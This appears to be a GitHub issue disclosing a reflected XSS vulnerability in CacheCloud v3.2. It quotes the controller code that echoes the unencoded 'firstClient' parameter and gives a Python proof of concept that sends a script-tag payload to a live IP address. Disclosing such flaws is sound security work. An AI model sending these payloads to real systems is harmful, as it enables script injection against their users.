-
Notifications
You must be signed in to change notification settings - Fork 2k
Open
Description
XSS vulnerability on /client/show/commandStatistics/client
Summary
In the latest version (v3.2) of CacheCloud, the endpoint /client/show/commandStatistics/client does not encode user-controllable parameters when outputting them on web page, resulting in XSS vulnerability. This allows attackers to launch XSS attacks against users.
Details
- SOURCE & SINK
// src/main/java/com/sohu/cache/web/controller/AppClientDataShowController.java#L184-L233
184: @RequestMapping({"/commandStatistics/client"})
185: public ModelAndView getCommandStatisticsByClient(HttpServletRequest request, HttpServletResponse response, Model model) {
186: Long appId = NumberUtils.toLong(request.getParameter("appId"));
187: if (appId <= 0L) {
188: return new ModelAndView("");
189: } else {
190: model.addAttribute("appId", appId);
191: String searchDate = request.getParameter("searchDate");
192: TimeBetween timeBetween = new TimeBetween();
193:
194: try {
195: timeBetween = this.fillWithDateFormat(searchDate);
196: } catch (ParseException e) {
197: this.logger.error(e.getMessage(), e);
198: }
199:
200: long startTime = timeBetween.getStartTime();
201: long endTime = timeBetween.getEndTime();
202: model.addAttribute("searchDate", timeBetween.getFormatStartDate());
203: List<String> clientList = this.appClientReportCommandService.getAppDistinctClients(appId, startTime, endTime);
204: model.addAttribute("clientList", clientList);
205: List<String> commandList = this.appClientReportCommandService.getAppDistinctCommand(appId, startTime, endTime);
206: model.addAttribute("commandList", commandList);
207: String firstClient = request.getParameter("firstClient");
208: if (StringUtils.isBlank(firstClient) && CollectionUtils.isNotEmpty(clientList)) {
209: firstClient = (String)clientList.get(0);
210: }
211:
212: model.addAttribute("firstClient", firstClient);
213: String firstCommand = request.getParameter("firstCommand");
214: if (StringUtils.isBlank(firstCommand) && CollectionUtils.isNotEmpty(commandList)) {
215: firstCommand = (String)commandList.get(0);
216: }
217:
218: model.addAttribute("firstCommand", firstCommand);
219: if ("all".equals(firstClient)) {
220: List<Map<String, Object>> sumCommandStatList = this.appClientReportCommandService.getSumCmdStatByCmd(appId, startTime, endTime, firstCommand);
221: model.addAttribute("sumCommandStatJson", JSONObject.toJSONString(sumCommandStatList));
222: } else if ("all".equals(firstCommand)) {
223: List<Map<String, Object>> sumClientStatList = this.appClientReportCommandService.getSumCmdStatByClient(appId, startTime, endTime, firstClient);
224: model.addAttribute("sumClientStatJson", JSONObject.toJSONString(sumClientStatList));
225: } else {
226: Map<String, List<Map<String, Object>>> appClientCommandStatisticsMap = this.appClientReportCommandService.getAppCommandClientStatistics(appId, firstCommand, startTime, endTime, firstClient);
227: model.addAttribute("appClientCommandStatisticsJson", JSONObject.toJSONString(appClientCommandStatisticsMap));
228: }
229:
230: return new ModelAndView("client/commandStatisticsByClient");
231: }
232: }
233:
POC
import requests
from requests.sessions import Session
class CustomSession(Session):
def request(
self,
method,
url,
params = None,
data = None,
headers = None,
cookies = None,
files = None,
auth = None,
timeout = None,
allow_redirects = True,
proxies = None,
hooks = None,
stream = None,
verify = None,
cert = None,
json = None,
):
arg_names = (
'method', 'url', 'params', 'data', 'headers', 'cookies', 'files', 'auth', 'timeout',
'allow_redirects', 'proxies', 'hooks', 'stream', 'verify', 'cert', 'json'
)
local_variables = locals()
local_variables = {n: local_variables[n] for n in local_variables if n in arg_names}
local_variables['headers'] = local_variables.get('headers') or dict()
local_variables['headers'].update({'referer': 'http://34.169.199.145:40101/admin/app/list', 'User-Agent': 'oxpecker', 'accept-language': 'en-US', 'x-requested-with': 'XMLHttpRequest', 'origin': 'http://34.169.199.145:40101', 'upgrade-insecure-requests': '1', 'pragma': 'no-cache', 'cache-control': 'no-cache', 'accept-encoding': 'gzip, deflate'})
return super().request(**{n: local_variables[n] for n in local_variables if n in arg_names})
requests.sessions.Session = CustomSession
# ================================== Poc Start ===================================
import requests
url = 'http://34.169.199.145:40101/client/show/commandStatistics/client'
payload = {'appId': '1', 'searchDate': '2023-10-01', 'firstClient': '"><scRIpt>alert("zast-xss")</scRIpT>//', 'firstCommand': 'all', 'type': 'someType'}
response = requests.post(url, params=payload, verify=False, allow_redirects=False)
print('Status Code:', response.status_code)
print('Response Text:', response.text)
# =================================== Poc End ====================================
- Screenshot

Metadata
Metadata
Assignees
Labels
No labels